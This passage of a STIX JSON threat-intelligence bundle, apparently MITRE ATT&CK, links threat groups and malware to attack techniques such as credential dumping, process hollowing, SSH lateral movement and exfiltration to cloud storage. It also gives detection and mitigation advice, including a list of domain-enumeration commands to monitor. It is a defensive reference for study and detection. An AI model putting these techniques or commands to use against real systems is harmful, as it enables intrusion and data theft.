2021)","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--080702d5-0c8d-444f-817e-afabb83a105a","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor for changes to binaries and service executables that may normally occur during software updates. ","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--163c1ca5-c5cb-4cc8-b9e4-d0a137d41e52","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. 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(2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."},{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T03:35:29.737Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used WebDAV to upload stolen USB files to a cloud drive.(Citation: Symantec Waterbug Jun 2019) [Turla](https://attack.mitre.org/groups/G0010) has also exfiltrated stolen files to OneDrive and 4shared.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--35483df6-413c-4c77-b1b9-0acd14f77775","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2efc4972-6779-4a5c-a18a-db3c64623b8c","type":"relationship","created":"2019-06-24T11:14:20.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-02T19:08:18.088Z","description":"Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c119557-d417-4708-a024-5be9c4d4d86c","type":"relationship","created":"2020-05-06T17:47:43.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert BlackTech Malware September 2019","url":"https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html","description":"Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."}],"modified":"2020-07-07T14:05:07.563Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) has the ability to proxy communications with command and control (C2) servers.(Citation: JPCert BlackTech Malware September 2019)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f72aba67-b581-4836-b5f7-74d125aa906c","type":"relationship","created":"2020-02-12T14:50:52.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-23T21:16:03.050Z","description":"Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f48ee432-cc6e-4f34-a8bf-0338c1d796d6","type":"relationship","created":"2020-11-08T23:47:39.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:40:21.237Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can collect credentials from WINSCP.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fe8bc44b-805d-440c-a447-96091033439d","type":"relationship","created":"2019-02-21T21:17:37.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-10-12T23:00:49.627Z","description":"[APT39](https://attack.mitre.org/groups/G0087) used secure shell (SSH) to move laterally among their targets.(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e090281c-4ab9-4b6f-ab63-f22606f7e620","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"},{"url":"https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","source_name":"FireEye Obfuscation June 2017"},{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}],"modified":"2021-09-15T14:37:11.045Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used a Batch file to automate frequently executed post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016) [FIN8](https://attack.mitre.org/groups/G0061) has also executed commands remotely via [cmd](https://attack.mitre.org/software/S0106).(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}],"modified":"2020-03-16T15:50:20.119Z","description":"[Emissary](https://attack.mitre.org/software/S0082) has the capability to download files from the C2 server.(Citation: Lotus Blossom Dec 2015)","relationship_type":"uses","source_ref":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dc68cc0c-154a-4c69-a35a-b7fd843d8e98","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. 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(Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events)The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SharePoint Logging","description":"Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.","url":"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"},{"source_name":"Sharepoint Sharing Events","description":"Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.","url":"https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events"},{"source_name":"Atlassian Confluence Logging","description":"Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.","url":"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9287e689-758f-4701-80b6-41bcf348ab10","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. 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(2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T19:19:44.338Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can execute binaries through process hollowing.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a9c1c589-b5c6-4231-982f-cae0aa41f349","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. 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(2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"},{"source_name":"JPCERT ChChes Feb 2017","description":"Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.","url":"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. 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(2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.823Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has dropped and executed SecretsDump to dump password hashes.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee73acc3-a506-41a2-b7b9-e5aa9b68342b","type":"relationship","created":"2020-03-19T19:09:17.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro MacOS April 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018."}],"modified":"2020-03-19T19:09:17.746Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses PowerShell scripts.(Citation: TrendMicro MacOS April 2018)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cf34ba1-c2e4-4277-86fc-b511ae416a0e","type":"relationship","created":"2022-02-01T13:01:04.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-03T21:03:52.498Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) used SSH and the PuTTy PSCP utility to gain access to a restricted segment of a compromised network.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"},{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c38e9a18-170d-46a8-8e39-c49e03785341","type":"relationship","created":"2021-04-16T21:33:50.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. 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Retrieved December 29, 2020."}],"modified":"2021-04-16T21:33:50.781Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used HTTP for C2 and data exfiltration.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--11fa7881-e772-419a-89b1-4e1ccdc6cbea","created":"2022-03-30T14:26:51.844Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for execution of commands and arguments associated with enumeration or information gathering of domain accounts and groups, such as <code>net user /domain</code> and <code>net group /domain</code>, <code>dscacheutil -q group</code>on macOS, and <code>ldapsearch</code> on Linux.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.","modified":"2022-04-14T15:02:25.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--82c9b9a1-5fbe-49e5-8685-12a03a66ef8d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. 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Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows(e.g. snmp traffic originating from unauthorized or untrusted hosts, signature detection for strings mapped to device configuration(s), and anomolies in snmp request(s))","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2c6c5572-9b89-40cd-8faa-6317945cf939","type":"relationship","created":"2022-03-25T14:32:35.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. 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Identify and block potentially malicious software executed through search order hijacking by using application control solutions capable of blocking DLLs loaded by legitimate software.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47316750-4ca7-4ea3-b72c-9d7c7d895e3a","type":"relationship","created":"2017-05-31T21:33:27.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-01-10T22:19:05.317Z","relationship_type":"mitigates","source_ref":"course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08bee5d2-5a60-416e-87cb-5cfe35cf67ff","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. 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Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINDSHIELD](https://attack.mitre.org/software/S0155) C2 traffic can communicate via TCP raw sockets.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--98e8a977-3416-43aa-87fa-33e287e9c14c","target_ref":"attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fe77b6f-4b95-4d27-976f-a2a2fbfca479","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27fcfb28-a452-42fe-b33e-0bb76550e883","type":"relationship","created":"2020-01-10T03:43:37.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-10T03:43:37.373Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae260a19-f992-4f2e-a0c8-beeef389bb70","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--782ee381-61f2-4405-b399-9faa99d00fea","type":"relationship","created":"2021-07-06T23:02:53.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.463Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7acc1226-d784-448e-8aeb-7f58e343c4da","type":"relationship","created":"2021-04-20T02:37:12.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gallagher 2015","description":"Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.","url":"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"}],"modified":"2021-04-20T02:37:12.377Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has embedded malicious code into websites to screen a potential victim's IP address and then exploit their browser if they are of interest.(Citation: Gallagher 2015)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80c122f6-6aea-4e27-aff2-09467bc4a628","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-19T19:42:05.844Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) uses cmd.exe to execute scripts and commands on the victim’s machine.(Citation: Unit 42 QUADAGENT July 